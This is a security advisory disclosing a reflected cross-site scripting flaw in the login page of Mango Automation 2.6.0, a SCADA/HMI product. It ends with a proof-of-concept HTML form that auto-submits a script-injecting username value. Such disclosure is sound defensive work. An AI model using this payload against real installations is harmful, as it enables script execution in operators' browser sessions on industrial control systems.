Mango Automation version 2.6.0 is prone to a reflected cross site scripting vulnerability due to a failure to properly sanitize user-supplied input to the 'username' POST parameter in the 'login.htm' script. Attackers can exploit this issue to execute arbitrary HTML and script code in a user's browser session.
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Mango Automation 2.6.0 Remote XSS POST Injection Vulnerability
Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com/
Affected version: 2.5.2 and 2.6.0 beta (build 327)
Summary: Mango Automation is a flexible SCADA, HMI
And Automation software application that allows you
to view, log, graph, animate, alarm, and report on
data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.
Desc: The application is prone to a reflected cross-site
scripting vulnerability due to a failure to properly
sanitize user-supplied input to the 'username' POST
parameter in the 'login.htm' script. Attackers can
exploit this issue to execute arbitrary HTML and script
code in a user's browser session.
Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
Jetty(9.2.2.v20140723)
Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2015-5257
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5257.php
20.08.2015
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<html>
<head>
<title>Mango Automation 2.6.0 Remote XSS POST Injection Vulnerability</title>
</head>
<body>
<form name="login" method="post" action="http://localhost:8080/login.htm">
<input type="hidden" name="username" value='"><script>alert("XSS");</script>' />
<input type="hidden" name="password" value="blah" />
</form>
<script type="text/javascript">
document.login.submit();
</script>
</body>
</html>